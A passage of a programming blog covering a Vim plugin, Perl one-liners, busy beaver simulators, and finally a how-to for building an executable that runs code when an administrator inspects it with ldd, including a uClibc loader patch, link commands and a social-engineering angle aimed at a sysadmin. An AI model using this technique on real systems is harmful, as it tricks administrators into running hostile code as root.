A.vim allows you to quickly switch between related source code files. For example, if you’re programming in C, you can alternate between source.c and the corresponding header source.h by just typing :A.

It saves you only a few seconds every time you use it, but don’t forget that these seconds can add up to hours during several weeks.

This plugin was written by Mike Sharpe.

For the introduction of this article series see part one - surround.vim.

Other bindings in a.vim

Besides the ” :A ” command that alternates between source files in the same buffer, a.vim also defines several other commands:

• :AS — alternate in a horizontal split,
• :AV — alternate in a vertical split, and
• :AT — alternate in a new tab.

The author of the plugin also defines the command ” :IH “, which opens the file under cursor, but it’s really unnecessary because “gf” already does that.

Extending a.vim

By default a.vim defines alternation for the following languages:

• C — .c <-> .h,
• C++ — .c / .cpp / .cxx / .cc <-> .h / .hpp,
• lex and yacc — .l / .lex / .lpp <-> .y / .ypp / .yacc,
• ASP.NET — .aspx <-> .aspx.cs / .aspx.vb

The alternation can be extended to other extensions by defining the following variable in your .vimrc:

let g:alternateExtensions_foo = "bar,baz"

This will set up alternation between .foo, .bar and .baz files.

How to install a.vim?

To get the latest version:

• 1. Download a.vim.
• 2. Put a.vim in ~/.vim (on Unix/Linux) or ~\vimfiles (on Windows).
• 3. Download alternate.txt from the same page.
• 4. Put alternate.txt in a.vim in ~/.vim/doc (on Unix/Linux) or ~/vimfiles/doc (on Windows).
• 5. Run :helptags ~/.vim/doc (on Unix/Linux) or :helptags ~/vimfiles/doc (on Windows) to rebuild the tags file (so that you can read :help alternate.)
• 6. Restart Vim.

I have mapped the :A command to ” ,a “. You can also map it to the same combination by putting “map ,a :A<CR>” in your .vimrc file.

Have Fun!

Have fun with this plugin and until next time!

Famous Perl one-liners is my attempt to create “perl1line.txt” that is similar to “awk1line.txt” and “sed1line.txt” that have been so popular among Awk and Sed programmers.

The article on famous Perl one-liners will consist of at least seven parts:

• Part I: File spacing.
• Part II: Line numbering.
• Part III: Calculations (this part).
• Part IV: String creation. Array creation.
• Part V: Text conversion and substitution.
• Part VI: Selective printing and deleting of certain lines.
• Part VII: Release of perl1line.txt.

After I’m done explaining all these one-liners, I’ll publish an ebook. Everyone who’s subscribed to my blog will get a free copy! Subscribe now!

The one-liners will make heavy use of Perl special variables. A few years ago I compiled all the Perl special variables in a single file and called it Perl special variable cheat-sheet. Even tho it’s mostly copied out of perldoc perlvar, it’s still handy to have in front of you, so print it.

And here are today’s one-liners:

Calculations

21. Check if a number is a prime.

perl -lne '(1x$_) !~ /^1?$|^(11+?)\1+$/ && print "$_ is prime"'

This one-liner uses an ingenious regular expression to detect if a given number is a prime or not. Don’t take it too seriously, though. I included it for its artistic value.

First, the number is converted in its unary representation by ” (1x$_) “. For example, 5 gets converted into ” 1×5 “, which is ” 11111 “.

Next, the unary number gets tested against the ingenious regular expression. If it doesn’t match, the number is a prime, otherwise it’s a composite.

The regular expression works this way. It consists of two parts ” ^1?$ ” and ” ^(11+?)\1+$ “.

The first part matches ” 1 ” and empty string. Clearly, empty string and 1 are not prime numbers, therefore this regular expression matches, which indicated that they are not prime numbers.

The second part determines if two or more 1s repeatedly make up the whole number. If two or mores 1s repeatedly make up the whole number, the regex matches, which means that the number is composite. Otherwise it’s a prime.

Let’s look at the second regex part on numbers 5 and 6.

The number 5 in unary representation is ” 11111 “. The ” (11+?) ” matches first two ones ” 11 “. The back-reference ” \1 ” becomes ” 11 ” and the whole regex now becomes ” ^11(11)+$ “. It can’t match five ones, therefore it fails. But since it used ” +? “, it backtracks and matches the first three ones ” 111 “. The back-reference becomes ” 111 ” and the whole regex becomes ” ^111(111)+$ “. It doesn’t match again. This repeats for ” 1111 ” and ” 11111 “, which also don’t match, therefore the whole regex doesn’t match and the number is a prime.

The number 4 in unary representation is ” 1111 “. The ” (11+?) ” matches the first two ones ” 11 “. The back-reference ” \1 ” becomes ” 11 ” and the regex becomes ” ^11(11)+$ “. It matches the original string, therefore the number is not a prime.

The ” -lne ” command line options have been explained in parts one and two.

22. Print the sum of all the fields on a line.

perl -MList::Util=sum -alne 'print sum @F'

This one-liner turns on field auto-splitting with ” -a ” command line option and imports the “sum” function from “List::Util” module with ” -MList::Util=sum ” option. The “List::Util” is in the Perl core so you don’t need to worry about installing it.

As a result of auto-splitting the split fields end up in the ” @F ” array and the ” sum ” function just sums them up.

The -Mmodule=arg option imports arg from module and is the same as writing:

use module qw(arg)

This one-liner is equivalent to the following:

use List::Util qw(sum);
while (<>) {
    @F = split(' ');
    print sum @F, "\n";
}

23. Print the sum of all the fields on all lines.

perl -MList::Util=sum -alne 'push @S,@F; END { print sum @S }'

This one-liner keeps pushing the split fields in ” @F ” to the ” @S ” array. Once the input is over and perl is about quit, END { } block gets called that outputs the sum of all items in @F. This sum is the sum of all fields over all lines.

This solution isn’t too good - it creates a massive array @S. A better solution is to keep just the running:

perl -MList::Util=sum -alne '$s += sum @F; END { print $s }'

24. Shuffle all fields on a line.

perl -MList::Util=shuffle -alne 'print "@{[shuffle @F]}"'

This is almost the same as one-liner #22 above. Instead of summing all fields, it shuffles and prints them.

The ” @{[shuffle @F]} ” construct creates an array reference to the contents of ” shuffle @F ” and ” @ { … } ” dereferences it. This is a tricky way to execute code inside quotes. It was needed to get the values of shuffled @F separated by a space when printing them out.

Another way to do the same is join the elements of @F by a space, but it’s longer:

perl -MList::Util=shuffle -alne 'print join " ", shuffle @F'

25. Find the minimum element on a line.

perl -MList::Util=min -alne 'print min @F'

This one-liner uses the “min” function from “List::Util”. It’s similar to all the previous ones. After the line has been automatically split by ” -a “, the “min” function finds minimum element and prints it.

26. Find the minimum element over all the lines.

perl -MList::Util=min -alne '@M = (@M, @F); END { print min @M }'

This one-liner is a combination of the previous one and the #23.

The “@M = (@M, @F)” construct is the same as “push @M, @F”. It appends the contents of @F to the array @M.

This one-liner stores all the data in memory. If you run it on a 10 terabyte file, it will die. Therefore it’s better to keep the running minimum element in memory and print it out at the end:

perl -MList::Util=min -alne '$min = min @F; $rmin = $min unless defined $rmin && $min > $rmin; END { print $rmin }'

It finds the minimum of each line and stores in $min, then it checks if $min is smaller than the running minimum. Once the input ends, it prints the running minimum, which is the smallest value over all input.

27. Find the maximum element on a line.

perl -MList::Util=max -alne 'print max @F'

This is the same as #25, except “min” has been replaced with “max”.

28. Find the maximum element over all the lines.

perl -MList::Util=max -alne '@M = (@M, @F); END { print max @M }'

This is the same as #26.

Or:

perl -MList::Util=max -alne '$max = max @F; $rmax = $max unless defined $rmax && $max < $rmax; END { print $rmax }'

29. Replace each field with its absolute value.

perl -alne 'print "@{[map { abs } @F]}"'

This one-liner auto-splits the line by ” -a ” command line option. The split fields, as I already explained, end up in the @F variable. Next it calls the absolute value function “abs” on each field by the help of “map” function. Finally it prints it joins all the fields by the help of array interpolation in double quotes.

The ” @{ … } ” construct was explained in one-liner #24.

30. Find the total number of fields (words) on each line.

perl -alne 'print scalar @F'

This one-liner forces to evaluate the @F in scalar context, which in Perl means “the number of elements in @F.” Therefore this one-liner prints out the number of elements on each line.

31. Print the total number of fields (words) on each line followed by the line.

perl -alne 'print scalar @F, " $_"'

This is exactly the same as #30, except ” $_ ” is added at the end that prints out the whole line. (Remember that ” -n ” option caused each line to be put in the $_ variable.)

32. Find the total number of fields (words) on all lines.

perl -alne '$t += @F; END { print $t}'

Here we just keep adding the number of fields on each line to variable ” $t “, and at the end we print it out. The result is number of words on all lines.

33. Print the total number of fields that match a pattern.

perl -alne 'map { /regex/ && $t++ } @F; END { print $t}'

This one-liner uses the ” map ” function that applies some operation on each of the elements in @F array. In this case the operation checks if each element matches /regex/ and if it does, it increments variable $t. At the end it prints this variable $t that contains the number of fields that matched /regex/ pattern.

34. Print the total number of lines that match a pattern.

perl -lne '/regex/ && $t++; END { print $t}'

This one-liner uses the ” map ” function that applies some operation on each of the elements in @F array. In this case the operation checks if each element matches /regex/ and if it does, it increments variable $t. At the end it prints this variable $t that contains the number of fields that matched /regex/ pattern.

35. Print the number PI to n decimal places.

perl -Mbignum=bpi -le 'print bpi(21)'

The bignum package exports bpi function that calculates constant PI to wanted accuracy. This one-liner prints PI to 20 decimal places.

The bignum library also exports constant PI alone to 39 decimal places:

perl -Mbignum=PI -le 'print PI'

36. Print the number E to n decimal places.

perl -Mbignum=bexp -le 'print bexp(1,21)'

The bignum library also exports bexp function that takes two arguments - the power to raise e to and accuracy. This one-liner prints the constant e to 20 decimal places.

You can print the value of e^2 to 30 decimal places this way:

perl -Mbignum=bexp -le 'print bexp(2,31)'

Just the same as with PI, bignum exports the constant e alone to 39 decimal places:

perl -Mbignum=e -le 'print e'

more calculations one-liners coming soon.

I got tired writing at this moment. I will add a new one-liner every other day here. Things like power-sets, ip calculations, date calculations and others.

update: 2009.11.07 added printing PI and E (one liners 35 and 36).

Have Fun!

Have fun with these one-liners for now. The next part is going to be about string and array creation.

Can you think of other calculations that I did not include here?

The busy beaver problem is a fun theoretical computer science problem to know. Intuitively, the problem is to find the smallest program that outputs as many data as possible and eventually halts. More formally it goes like this — given an n-state Turing Machine with a two symbol alphabet {0, 1}, what is the maximum number of 1s that the machine may print on an initially blank tape (0-filled) before halting?

It turns out that this problem can’t be solved. For a small number of states it can be reasoned about, but it can’t be solved in general. Theorists call such problems non-computable.

Currently people have managed to solve it for n=1,2,3,4 (for Turing Machines with 1, 2, 3 and 4 states) by reasoning about and running all the possible Turing Machines, but for n ≥ 5 this task has currently been impossible. While most likely it will be solved for n=5, theorists doubt that it shall ever be computed for n=6.

Let’s denote the number of 1s that the busy beaver puts on a tape after halting as S(n) and call it the busy beaver function (this is the solution to the busy beaver problem). The busy beaver function is also interesting — it grows faster than any computable function. It grows like this:

• S(1) = 1
• S(2) = 4
• S(3) = 6
• S(4) = 13
• S(5) ≥ 4098 (the exact result has not yet been found)
• S(6) ≥ 4.6 · 10¹⁴³⁹ (the exact result shall never be known)

If we were to use one atom for each 1 that the busy beaver puts on the tape, at n=6 we would have filled the whole universe! That’s how fast the busy beaver function is growing.

I decided to play with the busy beaver myself to verify the known results for n ≤ 5. I implemented a Turing Machine in Python, which turned out to be too slow, so I reimplemented it in C++ (source code of both implementations below).

I also wrote a visualization tool in Perl that shows how the Turing Machine’s tape changes from the start to the finish (source code also below).

I used the following best known Turing Machines. Their tapes are initially filled with 0’s, their starting state is ” a ” and halting state is ” h “. The notation ” a0 -> b1l ” means “if we are in the state “a” and the current symbol on the tape is “0″ then put a “1″ in that cell, switch to state “b” and move to left “l”. This process repeats until the machine ends up in the halting state.

Turing Machine for 1-state Busy Beaver:

a0 -> h1r

Turing Machine for 2-state Busy Beaver:

a0 -> b1r    a1 -> b1l
b0 -> a1l    b1 -> h1r

Here is how the trace of tape changes look like for the 2-state busy beaver:

Tape changes for 2 state busy beaver.

Turing Machine for 3-state Busy Beaver:

a0 -> b1r    a1 -> h1r
b0 -> c0r    b1 -> b1r
c0 -> c1l    c1 -> a1l

Tape changes for 3 state busy beaver.

Turing Machine for 4-state Busy Beaver:

a0 -> b1r    a1 -> b1l
b0 -> a1l    b1 -> c0l
c0 -> h1r    c1 -> d1l
d0 -> d1r    d1 -> a0r

Tape changes for 4 state busy beaver.

Turing Machine for 5-state Busy Beaver:

a0 -> b1l    a1 -> a1l
b0 -> c1r    b1 -> b1r
c0 -> a1l    c1 -> d1r
d0 -> a1l    d1 -> e1r
e0 -> h1r    e1 -> c0r

This image is huge (6146 x 14293 pixels, but only 110KB in size). Click for full size.

Tape changes for 5 state busy beaver.

Turing Machine for 6 state Busy Beaver:

a0 -> b1r    a1 -> e0l
b0 -> c1l    b1 -> a0r
c0 -> d1l    c1 -> c0r
d0 -> e1l    d1 -> f0l
e0 -> a1l    e1 -> c1l
f0 -> e1l    f1 -> h1r

Here is my Python program to simulate all these Turing Machines. But as I said, it turned out to be too slow. For the 5 state Busy Beaver it took 5 minutes to generate the currently best known solution.

Download: busy_beaver.py (140)

#!/usr/bin/python
#
# Turing Machine simulator for Busy Beaver problem.
# Version 1.0
#

import sys

class Error(Exception):
    pass

class TuringMachine(object):
    def __init__(self, program, start, halt, init):
        self.program = program
        self.start = start
        self.halt = halt
        self.init = init
        self.tape = [self.init]
        self.pos = 0
        self.state = self.start
        self.set_tape_callback(None)
        self.tape_changed = 1
        self.movez = 0

    def run(self):
        tape_callback = self.get_tape_callback()
        while self.state != self.halt:
            if tape_callback:
                tape_callback(self.tape, self.tape_changed)

            lhs = self.get_lhs()
            rhs = self.get_rhs(lhs)

            new_state, new_symbol, move = rhs

            old_symbol = lhs[1]
            self.update_tape(old_symbol, new_symbol)
            self.update_state(new_state)
            self.move_head(move)

        if tape_callback:
            tape_callback(self.tape, self.tape_changed)

    def set_tape_callback(self, fn):
        self.tape_callback = fn

    def get_tape_callback(self):
        return self.tape_callback

    property(get_tape_callback, set_tape_callback)

    @property
    def moves(self):
        return self.movez

    def update_tape(self, old_symbol, new_symbol):
        if old_symbol != new_symbol:
            self.tape[self.pos] = new_symbol
            self.tape_changed += 1
        else:
            self.tape_changed = 0

    def update_state(self, state):
        self.state = state

    def get_lhs(self):
        under_cursor = self.tape[self.pos]
        lhs = self.state + under_cursor
        return lhs

    def get_rhs(self, lhs):
        if lhs not in self.program:
            raise Error('Could not find transition for state "%s".' % lhs)
        return self.program[lhs]

    def move_head(self, move):
        if move == 'l':
            self.pos -= 1
        elif move == 'r':
            self.pos += 1
        else:
            raise Error('Unknown move "%s". It can only be left or right.' % move)

        if self.pos < 0:
            self.tape.insert(0, self.init)
            self.pos = 0
        if self.pos >= len(self.tape):
            self.tape.append(self.init)

        self.movez += 1

beaver_programs = [
    { },

    {'a0': 'h1r' },

    {'a0': 'b1r', 'a1': 'b1l',
     'b0': 'a1l', 'b1': 'h1r'},

    {'a0': 'b1r', 'a1': 'h1r',
     'b0': 'c0r', 'b1': 'b1r',
     'c0': 'c1l', 'c1': 'a1l'},

    {'a0': 'b1r', 'a1': 'b1l',
     'b0': 'a1l', 'b1': 'c0l',
     'c0': 'h1r', 'c1': 'd1l',
     'd0': 'd1r', 'd1': 'a0r'},

    {'a0': 'b1l', 'a1': 'a1l',
     'b0': 'c1r', 'b1': 'b1r',
     'c0': 'a1l', 'c1': 'd1r',
     'd0': 'a1l', 'd1': 'e1r',
     'e0': 'h1r', 'e1': 'c0r'},

    {'a0': 'b1r', 'a1': 'e0l',
     'b0': 'c1l', 'b1': 'a0r',
     'c0': 'd1l', 'c1': 'c0r',
     'd0': 'e1l', 'd1': 'f0l',
     'e0': 'a1l', 'e1': 'c1l',
     'f0': 'e1l', 'f1': 'h1r'}
]

def busy_beaver(n):
    def tape_callback(tape, tape_changed):
        if tape_changed:
            print ''.join(tape)

    program = beaver_programs[n]

    print "Running Busy Beaver with %d states." % n
    tm = TuringMachine(program, 'a', 'h', '0')
    tm.set_tape_callback(tape_callback)
    tm.run()
    print "Busy beaver finished in %d steps." % tm.moves

def usage():
    print "Usage: %s [1|2|3|4|5|6]" % sys.argv[0]
    print "Runs Busy Beaver problem for 1 or 2 or 3 or 4 or 5 or 6 states."
    sys.exit(1)

if __name__ == "__main__":
    if len(sys.argv[1:]) < 1:
        usage()

    n = int(sys.argv[1])

    if n < 1 or n > 6:
        print "n must be between 1 and 6 inclusive"
        print
        usage()

    busy_beaver(n)

I rewrote the Turing Machine simulator in C++ and the speedup was huge. Now it took 14 seconds to execute the same Busy Beaver 5.

Download: busy_beaver.cpp (153)

/*
** Turing Machine simulator for Busy Beaver problem.
** Version 1.0
*/

#include <cstdlib>
#include <iostream>
#include <utility>
#include <vector>
#include <string>
#include <map>

using namespace std;

typedef vector<char> Tape;
typedef map<string, string> Program;

class TuringMachine {
private:
    Tape tape;
    Program program;
    char start, halt, init, state;
    bool tape_changed;
    int moves;
    int pos;
public:
    TuringMachine(Program program, char start, char halt, char init):
        tape(1, init), program(program), start(start), halt(halt),
        init(init), state(start), moves(0), tape_changed(1), pos(0)
    { }

    void run() {
        while (state != halt) {
            print_tape();
            string lhs = get_lhs();
            string rhs = get_rhs(lhs);

            char new_state = rhs[0];
            char new_symbol = rhs[1];
            char move = rhs[2];

            char old_symbol = lhs[1];
            update_tape(old_symbol, new_symbol);
            update_state(new_state);
            move_head(move);
        }
        print_tape();
    }

    int get_moves() {
        return moves;
    }

private:
    inline void print_tape() {
        if (tape_changed) {
            for (int i=0; i<tape.size(); i++)
                cout << tape[i];
            cout << endl;
        }
    }

    inline string get_lhs() {
        char sp[3] = {0};
        sp[0] = state;
        sp[1] = tape[pos];
        return string(sp);
    }

    inline string get_rhs(string &lhs) {
        return program[lhs];
    }

    inline void update_tape(char old_symbol, char new_symbol) {
        if (old_symbol != new_symbol) {
            tape[pos] = new_symbol;
            tape_changed++;
        }
        else {
            tape_changed = 0;
        }
    }

    inline void update_state(char new_state) {
        state = new_state;
    }

    inline void move_head(char move) {
        if (move == 'l')
            pos -= 1;
        else if (move == 'r')
            pos += 1;
        else
            throw string("unknown state");

        if (pos < 0) {
            tape.insert(tape.begin(), init);
            pos = 0;
        }
        if (pos >= tape.size()) {
            tape.push_back(init);
        }
        moves++;
    }

};

vector<Program> busy_beavers;

void init_bb6()
{
    Program bb6;
    bb6.insert(make_pair("a0", "b1r"));
    bb6.insert(make_pair("b0", "c1l"));
    bb6.insert(make_pair("c0", "d1l"));
    bb6.insert(make_pair("d0", "e1l"));
    bb6.insert(make_pair("e0", "a1l"));
    bb6.insert(make_pair("f0", "e1l"));

    bb6.insert(make_pair("a1", "e0l"));
    bb6.insert(make_pair("b1", "a0r"));
    bb6.insert(make_pair("c1", "c0r"));
    bb6.insert(make_pair("d1", "f0l"));
    bb6.insert(make_pair("e1", "c1l"));
    bb6.insert(make_pair("f1", "h1r"));

    busy_beavers.push_back(bb6);
}

void init_bb5()
{
    Program bb5;
    bb5.insert(make_pair("a0", "b1l"));
    bb5.insert(make_pair("b0", "c1r"));
    bb5.insert(make_pair("c0", "a1l"));
    bb5.insert(make_pair("d0", "a1l"));
    bb5.insert(make_pair("e0", "h1r"));

    bb5.insert(make_pair("a1", "a1l"));
    bb5.insert(make_pair("b1", "b1r"));
    bb5.insert(make_pair("c1", "d1r"));
    bb5.insert(make_pair("d1", "e1r"));
    bb5.insert(make_pair("e1", "c0r"));

    busy_beavers.push_back(bb5);
}

void init_bb4()
{
    Program bb4;
    bb4.insert(make_pair("a0", "b1r"));
    bb4.insert(make_pair("b0", "a1l"));
    bb4.insert(make_pair("c0", "h1r"));
    bb4.insert(make_pair("d0", "d1r"));

    bb4.insert(make_pair("a1", "b1l"));
    bb4.insert(make_pair("b1", "c0l"));
    bb4.insert(make_pair("c1", "d1l"));
    bb4.insert(make_pair("d1", "a0r"));

    busy_beavers.push_back(bb4);

}

void init_bb3()
{
    Program bb3;
    bb3.insert(make_pair("a0", "b1r"));
    bb3.insert(make_pair("b0", "c0r"));
    bb3.insert(make_pair("c0", "c1l"));

    bb3.insert(make_pair("a1", "h1r"));
    bb3.insert(make_pair("b1", "b1r"));
    bb3.insert(make_pair("c1", "a1l"));

    busy_beavers.push_back(bb3);
}

void init_bb2()
{
    Program bb2;
    bb2.insert(make_pair("a0", "b1r"));
    bb2.insert(make_pair("b0", "a1l"));

    bb2.insert(make_pair("a1", "b1l"));
    bb2.insert(make_pair("b1", "h1r"));

    busy_beavers.push_back(bb2);
}

void init_bb1()
{
    Program bb1;
    bb1.insert(make_pair("a0", "h1r"));

    busy_beavers.push_back(bb1);
}

void init_busy_beavers()
{
    busy_beavers.push_back(Program());
    init_bb1();
    init_bb2();
    init_bb3();
    init_bb4();
    init_bb5();
    init_bb6();
}

void busy_beaver(int n)
{
    cout << "Running Busy Beaver with " << n << " states." << endl;
    TuringMachine tm(busy_beavers[n], 'a', 'h', '0');
    tm.run();
    cout << "Busy Beaver finished in " << tm.get_moves() << " steps." << endl;
}

void usage(const char *prog)
{
    cout << "Usage: " << prog << " [1|2|3|4|5|6]\n";
    cout << "Runs Busy Beaver problem for 1 or 2 or 3 or 4 or 5 or 6 states." << endl;
    exit(1);
}

int main(int argc, char **argv)
{
    if (argc < 2) {
        usage(argv[0]);
    }

    int n = atoi(argv[1]);
    if (n < 1 || n > 6) {
        cout << "n must be between 1 and 6 inclusive!\n";
        cout << "\n";
        usage(argv[0]);
    }

    init_busy_beavers();
    busy_beaver(n);
}

And I also wrote a Perl program that uses the GD library to draw the tape changes on Turing Machines.

Download: draw_turing_machine.perl (103)

#!/usr/bin/perl
#
# Given output from busy_beaver.py or busy_beaver.cpp,
# draws the turing machine tape changes.
#

use warnings;
use strict;
use GD;

$|++;

my $input_file = shift or die 'Usage: $0 <file with TM state transitions>';
my $cell_size = shift || 4;
my $im_file = "$input_file.png";

sub line_count {
    my $count = 0;
    open my $fh, '<', shift or die $!;
    $count += tr/\n/\n/ while sysread($fh, $_, 2**20);
    return $count;
}

sub get_last_line {
    my $file = shift;
    my $last_line = `tail -1 $file`;
    chomp $last_line;
    return $last_line;
}

my $nr_lines = line_count $input_file;
my $last_line = get_last_line $input_file;
my $last_width = length($last_line);

my ($width, $height) = ($cell_size*$last_width, $cell_size*$nr_lines);

my $im = GD::Image->new($width, $height);
my $white = $im->colorAllocate(255,255,255);
my $dark = $im->colorAllocate(40, 40, 40);

my ($x, $y) = (0, $height-$cell_size);

print "Starting to draw the image. Total states: $nr_lines.\n";
print "It will be $width x $height pizels in size.\n";

my $prev_line;
my ($pad_left, $pad_right) = (0, 0);

sub pad {
    my ($line, $left, $right) = @_;
    return '0'x$left . $line . '0'x$right;
}

open my $fh, "-|", "/usr/bin/tac $input_file" or die $!;
while (<$fh>) {
    chomp;
    print "." if $. % 10 == 0;
    print "($.)" if $. % 500 == 0;

    $prev_line = $_ unless defined $prev_line;

    my $new_line;
    if (length $_ != length $prev_line) {
        if ($prev_line =~ /0$/) {
            $pad_right++;
        }
        elsif ($prev_line =~ /^0/) {
            $pad_left++;
        }
        else {
            die "unexpected data at $. in file $input_file";
        }
    }
    $new_line = pad($_, $pad_left, $pad_right);
    $prev_line = $_;

    my @cells = split //, $new_line;
    for my $cell (@cells) {
        $im->filledRectangle($x, $y, $x + $cell_size, $y + $cell_size,
                $cell ? $dark : $white);
        $x += $cell_size;
    }
    $y -= $cell_size;
    $x = 0;

}

print "\n";

{
    open my $fh, ">", $im_file or die $!;
    print $fh $im->png;
    close $fh;
}

print "Done. Image saved to $im_file.\n";

You can play with these programs yourself. Here is how. Run “busy_beaver.py <n>” with n=1,2,3,4,5,6. This will run the n-state busy beaver Turing Machine. The output will be the tape changes. Then use “draw_turing_machine.pl” to visualize the tape changes.

For example:

$ busy_beaver.py 4 > bb4
$ draw_turing_machine.pl bb4

There are variations of this problem. For example, the busiest beaver with 3 and more symbols. See “The Busy Beaver Competition” for these. The historical development is also interesting — see The Busy Beaver Historical Survey for more info.

I first learned about the Busy Beaver problem from a book called “The New Turing Omnibus.” It contains 66 different essays on various computer science subjects such as algorithms, turing machines, grammars, computability, randomness, and other fun topics. These essays are written in an accessible style that even a high school student can understand them. Each essay doesn’t take more than 10 minutes to read. I recommend this book. Get it here:

In this article I am going to show you how to create an executable that runs arbitrary code if it’s examined by `ldd`. I have also written a social engineering scenario on how you can get your sysadmin to unknowingly hand you his privileges.

I researched this subject thoroughly and found that it’s almost completely undocumented. I have no idea how this could have gone unnoticed for such a long time. Here are the only few documents that mention this interesting behavior: 1, 2, 3, 4.

First let’s understand how `ldd` works. Take a look at these three examples:

[1] $ ldd /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7eca000)
        /lib/ld-linux.so.2 (0xb801e000)

[2] $ LD_TRACE_LOADED_OBJECTS=1 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7e30000)
        /lib/ld-linux.so.2 (0xb7f84000)

[3] $ LD_TRACE_LOADED_OBJECTS=1 /lib/ld-linux.so.2 /bin/grep
        linux-gate.so.1 =>  (0xffffe000)
        libc.so.6 => /lib/libc.so.6 (0xb7f7c000)
        /lib/ld-linux.so.2 (0xb80d0000)

The first command [1] runs `ldd` on `/bin/grep`. The output is what we expect — a list of dynamic libraries that `/bin/grep` depends on.

The second command [2] sets the LD_TRACE_LOADED_OBJECTS environment variable and seemingly executes `/bin/grep` (but not quite). Surprisingly the output is the same!

The third command [3] again sets the LD_TRACE_LOADED_OBJECTS environment variable, calls the dynamic linker/loader `ld-linux.so` and passes `/bin/grep` to it as an argument. The output is again the same!

What’s going on here?

It turns out that `ldd` is nothing more than a wrapper around the 2nd and 3rd command. In the 2nd and 3rd example `/bin/grep` was never run. That’s a peculiarity of the GNU dynamic loader. If it notices the LD_TRACE_LOADED_OBJECTS environment variable, it never executes the program, it outputs the list of dynamic library dependencies and quits. (On BSD `ldd` is a C program that does the same.)

If you are on Linux, take a look at the `ldd` executable. You’ll find that it’s actually a bash script. If you step through it very carefully, you’ll notice that the 2nd command gets executed if the program specified to `ldd` can’t be loaded by the `ld-linux.so` loader, and that the 3rd command gets executed if it can.

One particular case when a program won’t be handled by `ld-linux.so` is when it has a different loader than the system’s default specified in it’s .interp ELF section. That’s the whole idea in executing arbitrary code with `ldd` — load the executable via a different loader that does not handle LD_TRACE_LOADED_OBJECTS environment variable but instead executes the program.

For example, you can put a malicious executable in ~/app/bin/exec and have it loaded by ~/app/lib/loader.so. If someone does `ldd /home/you/app/bin/exec` then it’s game over for them. They just ran the nasty code you had put in your executable. You can do some social engineering to get the sysadmin to execute `ldd` on your executable allowing you to gain the control over the box.

Compiling the new loader.

Get the uClibc C library. It has pretty code and can be easily patched to bypass the LD_TRACE_LOADED_OBJECTS checks.

$ mkdir app
$ cd app
app$ wget 'http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2'

Unpack it and run `make menuconfig`, choose the target architecture (most likely i386), leave everything else unchanged.

app$ bunzip2 < uClibc-0.9.30.1.tar.bz2 | tar -vx
app$ rm -rf uClibc-0.9.30.1.tar.bz2
app$ cd uClibc-0.9.30.1
app/uClibc-0.9.30.1$ make menuconfig

Edit .config and set the destination install directory to `/home/you/app/uclibc`.

# change these two lines
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

# to this
RUNTIME_PREFIX="/home/you/app/uclibc/"
DEVEL_PREFIX="/home/you/app/uclibc/usr/"

Now we’ll need to patch it to bypass LD_TRACE_LOADED_OBJECTS check.

Here is the patch. It patches the `ldso/ldso/ldso.c` file. Save the patch to a file and run `patch -p0 < file`. If you don't do it, arbitrary code execution won't work, because it will think that `ldd` wants to list dependencies.

--- ldso/ldso/ldso-orig.c       2009-10-25 00:27:12.000000000 +0300
+++ ldso/ldso/ldso.c    2009-10-25 00:27:22.000000000 +0300
@@ -404,9 +404,11 @@
        }
 #endif

+    /*
        if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
                trace_loaded_objects++;
        }
+    */

 #ifndef __LDSO_LDD_SUPPORT__
        if (trace_loaded_objects) {

Now compile and install it.

app/uClibc-0.9.30.1$ make -j 4
app/uClibc-0.9.30.1$ make install

This will install the uClibc loader and libc library to /home/you/app/uclibc.

That’s it. We have now installed uClibc. All we have to do now is link our executable with uClibc’s loader (app/lib/ld-uClibc.so.0). It will execute the code if run under `ldd`!

Creating and linking an executable with uClibc’s loader.

First let’s create a test application that will just print something when executed via `ldd` and let’s put it in `app/bin/myapp`

app/uClibc-0.9.30.1$ cd ..
app$ mkdir bin
app$ cd bin
app/bin$ vim myapp.c

Let’s write the following in `myapp.c`.

#include <stdio.h>
#include <stdlib.h>

int main() {
  if (getenv("LD_TRACE_LOADED_OBJECTS")) {
    printf("All your box are belong to me.\n");
  }
  else {
    printf("Nothing.\n");
  }
  return 0;
}

This is the most basic code. It checks if LD_TRACE_LOADED_OBJECTS env variable is set or not. If the variable set, the program acts maliciously but if it’s not, the program acts as if nothing happened.

The compilation is somewhat complicated because we have to link with the new C library statically (because anyone who might execute our program via `ldd` will not have our new C library in their LD_LIBRARY_PATH) and specify the new loader:

app/bin$ L=/home/you/app/uclibc
app/bin$ gcc -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 \
    -Wl,-rpath-link,$L/lib \
    -nostdlib \
    myapp.c -o myapp \
    $L/usr/lib/crt*.o \
    -L$L/usr/lib/ \
    -lc

Here is the explanation of options passed to gcc:

• -Wl,--dynamic-linker,$L/lib/ld-uClibc.so.0 — specifies the new loader,
• -Wl,-rpath-link,$L/lib — specifies the primary directory where the dynamic loader will look for dependencies,
• -nostdlib — don’t use system libraries,
• myapp.c -o myapp — compile myapp.c to executable myapp,
• $L/usr/lib/crt*.o — statically link to initial runtime code, function prolog, epilog,
• -L$L/usr/lib/ — search for libc in this directory,
• -lc — link with the C library.

Now let’s run the new `myapp` executable. First, without ldd:

app/bin$ ./myapp
Nothing.

LD_TRACE_LOADED_OBJECTS environment variable was not set and the program output “Nothing.” as expected.

Now let’s run it via `ldd` and for the maximum effect, let’s run it from the root shell, as if I was the sysadmin:

app/bin$ su
Password:
app/bin# ldd ./myapp
All your box are belong to me.

Wow! The sysadmin just executed our exploit! He lost the system.

A more sophisticated example.

Here is a more sophisticated example that I just came up with. When run without `ldd` this application fails with a fictitious “error while loading shared libraries” error. When run under `ldd` it checks if the person is root, and owns the box. After that it fakes `ldd` output and pretends to have `libat.so.0` missing.

This code needs a lot of improvements and just illustrates the main ideas.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

/*
This example pretends to have a fictitious library 'libat.so.0' missing.
When someone with root permissions runs `ldd this_program`, it does
something nasty in malicious() function.

I haven't implemented anything malicious but have written down some ideas
of what could be done.

This is, of course, a joke program. To make it look more real, you'd have
to bump its size, add some more dependencies, simulate trying to open the
missing library, detect if ran under debugger or strace and do absolutely
